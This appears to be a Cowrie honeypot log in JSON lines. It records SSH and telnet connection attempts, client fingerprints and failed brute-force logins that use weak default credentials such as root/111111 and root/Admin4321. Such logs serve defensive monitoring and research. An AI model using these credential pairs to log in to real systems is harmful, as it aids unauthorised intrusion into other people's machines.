{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":56894,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0d4acda7857","protocol":"telnet","message":"New connection: 94.23.66.112:56894 (10.17.0.5:23) [session: f0d4acda7857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:17.680009Z"}
{"eventid":"cowrie.session.closed","duration":8.671581506729126,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:26.351448Z","src_ip":"94.23.66.112","session":"f0d4acda7857","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":33038,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a66078a69d1","protocol":"ssh","message":"New connection: 85.198.19.241:33038 (159.203.135.109:22) [session: 7a66078a69d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:34.864688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:34.868407Z","src_ip":"85.198.19.241","session":"7a66078a69d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50346,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cffceb8a971","protocol":"telnet","message":"New connection: 128.199.8.54:50346 (159.203.135.109:23) [session: 5cffceb8a971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:35.097543Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":58276,"dst_ip":"10.17.0.5","dst_port":22,"session":"a28e03d5c148","protocol":"ssh","message":"New connection: 43.153.12.68:58276 (10.17.0.5:22) [session: a28e03d5c148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:35.706872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:35.710982Z","src_ip":"43.153.12.68","session":"a28e03d5c148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:35.779166Z","src_ip":"43.153.12.68","session":"a28e03d5c148","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1111","message":"login attempt [ftpuser/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:36.086325Z","src_ip":"43.153.12.68","session":"a28e03d5c148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:37.155301Z","src_ip":"43.153.12.68","session":"a28e03d5c148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:39.260408Z","src_ip":"85.198.19.241","session":"7a66078a69d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin4321","message":"login attempt [root/Admin4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:40.788234Z","src_ip":"85.198.19.241","session":"7a66078a69d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:42.655664Z","src_ip":"85.198.19.241","session":"7a66078a69d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.66153955459595,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:44.910455Z","src_ip":"128.199.8.54","session":"efbe559dca2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57712,"dst_ip":"159.203.135.109","dst_port":23,"session":"bed2f1278eb0","protocol":"telnet","message":"New connection: 128.199.8.54:57712 (159.203.135.109:23) [session: bed2f1278eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:29:47.549773Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":41184,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2dbdf2430ab","protocol":"ssh","message":"New connection: 38.148.249.2:41184 (10.17.0.5:22) [session: b2dbdf2430ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:03.103770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:03.110298Z","src_ip":"38.148.249.2","session":"b2dbdf2430ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:03.182182Z","src_ip":"38.148.249.2","session":"b2dbdf2430ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:03.496333Z","src_ip":"38.148.249.2","session":"b2dbdf2430ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":60664,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0250104dd78","protocol":"ssh","message":"New connection: 103.216.145.2:60664 (10.17.0.5:22) [session: c0250104dd78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:03.920046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:03.935138Z","src_ip":"103.216.145.2","session":"c0250104dd78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:04.131920Z","src_ip":"103.216.145.2","session":"c0250104dd78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:04.575122Z","src_ip":"38.148.249.2","session":"b2dbdf2430ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:04.941592Z","src_ip":"103.216.145.2","session":"c0250104dd78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:06.142259Z","src_ip":"103.216.145.2","session":"c0250104dd78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58032,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bf24997587a","protocol":"telnet","message":"New connection: 172.81.62.90:58032 (10.17.0.5:23) [session: 0bf24997587a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:07.470474Z"}
{"eventid":"cowrie.session.closed","duration":40.63851571083069,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:15.735947Z","src_ip":"128.199.8.54","session":"5cffceb8a971","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38952,"dst_ip":"159.203.135.109","dst_port":23,"session":"00d693aa9a1f","protocol":"telnet","message":"New connection: 172.81.62.90:38952 (159.203.135.109:23) [session: 00d693aa9a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:20.332476Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50002,"dst_ip":"159.203.135.109","dst_port":23,"session":"411d1b1d772a","protocol":"telnet","message":"New connection: 128.199.8.54:50002 (159.203.135.109:23) [session: 411d1b1d772a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:21.094571Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52722,"dst_ip":"10.17.0.5","dst_port":23,"session":"fec245711ef8","protocol":"telnet","message":"New connection: 172.81.62.90:52722 (10.17.0.5:23) [session: fec245711ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:21.899062Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":54650,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffda6b749d77","protocol":"ssh","message":"New connection: 103.149.28.157:54650 (159.203.135.109:22) [session: ffda6b749d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:26.003746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:26.009188Z","src_ip":"103.149.28.157","session":"ffda6b749d77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:26.260519Z","src_ip":"103.149.28.157","session":"ffda6b749d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"130692","message":"login attempt [root/130692] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:27.021243Z","src_ip":"103.149.28.157","session":"ffda6b749d77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:28.276308Z","src_ip":"103.149.28.157","session":"ffda6b749d77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39224,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf205a7cf222","protocol":"telnet","message":"New connection: 128.199.8.54:39224 (159.203.135.109:23) [session: bf205a7cf222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:35.480606Z"}
{"eventid":"cowrie.session.closed","duration":0.004622459411621094,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:35.485105Z","src_ip":"128.199.8.54","session":"bf205a7cf222","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":39264,"dst_ip":"159.203.135.109","dst_port":23,"session":"822efc1e21aa","protocol":"telnet","message":"New connection: 128.199.209.169:39264 (159.203.135.109:23) [session: 822efc1e21aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:41.959709Z"}
{"eventid":"cowrie.session.closed","duration":35.68204426765442,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:43.152378Z","src_ip":"172.81.62.90","session":"0bf24997587a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.41581916809082,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:48.965486Z","src_ip":"128.199.8.54","session":"bed2f1278eb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":36252,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fce5cea2030","protocol":"ssh","message":"New connection: 170.80.65.140:36252 (10.17.0.5:22) [session: 9fce5cea2030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:54.579900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:54.586222Z","src_ip":"170.80.65.140","session":"9fce5cea2030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:54.710600Z","src_ip":"170.80.65.140","session":"9fce5cea2030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"Server123","message":"login attempt [server/Server123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:55.238703Z","src_ip":"170.80.65.140","session":"9fce5cea2030","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49862,"dst_ip":"159.203.135.109","dst_port":23,"session":"59121cbd63be","protocol":"telnet","message":"New connection: 172.81.62.90:49862 (159.203.135.109:23) [session: 59121cbd63be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:55.267330Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:56.366236Z","src_ip":"170.80.65.140","session":"9fce5cea2030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.6825909614563,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:57.014897Z","src_ip":"172.81.62.90","session":"00d693aa9a1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.486562967300415,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:30:59.385498Z","src_ip":"172.81.62.90","session":"fec245711ef8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.717320919036865,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:09.811713Z","src_ip":"128.199.8.54","session":"411d1b1d772a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":34832,"dst_ip":"10.17.0.5","dst_port":22,"session":"abea6fb65cf7","protocol":"ssh","message":"New connection: 165.154.137.186:34832 (10.17.0.5:22) [session: abea6fb65cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:17.467305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:31:17.472265Z","src_ip":"165.154.137.186","session":"abea6fb65cf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"